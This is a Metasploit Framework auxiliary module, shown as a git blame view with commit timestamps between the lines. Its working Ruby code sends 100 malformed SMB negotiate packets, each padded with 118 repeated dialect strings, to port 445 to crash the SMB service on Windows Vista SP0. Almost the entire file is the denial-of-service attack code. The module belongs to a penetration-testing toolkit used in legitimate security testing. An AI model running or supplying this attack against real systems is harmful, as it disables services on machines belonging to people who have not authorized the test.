2008-11-07 22:11:58 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-11-07 22:11:58 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-11-07 22:11:58 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2010-10-09 06:55:52 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
2008-11-07 22:11:58 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-11-07 22:11:58 +00:00
|
|
|
'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a flaw in Windows Vista that allows a remote
|
|
|
|
unauthenticated attacker to disable the SMB service. This vulnerability
|
|
|
|
was silently fixed in Microsoft Vista Service Pack 1.
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2010-05-05 18:18:51 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-07-01 23:33:07 +00:00
|
|
|
'References' =>
|
2010-05-05 18:18:51 +00:00
|
|
|
[
|
|
|
|
[ 'OSVDB', '64341'],
|
|
|
|
]
|
2008-11-07 22:11:58 +00:00
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
register_options([Opt::RPORT(445)], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
print_status("Sending 100 negotiate requests...");
|
|
|
|
|
|
|
|
# 100 requests ensure that the bug is reliably hit
|
|
|
|
1.upto(100) do |i|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
begin
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
# 118 dialects are needed to trigger a non-response
|
|
|
|
dialects = ['NT LM 0.12'] * 118
|
|
|
|
|
|
|
|
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
|
|
|
|
|
|
|
|
pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
|
|
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
|
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc853
|
|
|
|
pkt['Payload'].v['Payload'] = data
|
|
|
|
pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
|
|
|
|
pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
|
|
|
|
|
|
|
|
sock.put(pkt.to_s)
|
|
|
|
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
rescue ::Exception
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Error at iteration #{i}: #{$!.class} #{$!}")
|
2008-11-07 22:11:58 +00:00
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-07 22:11:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|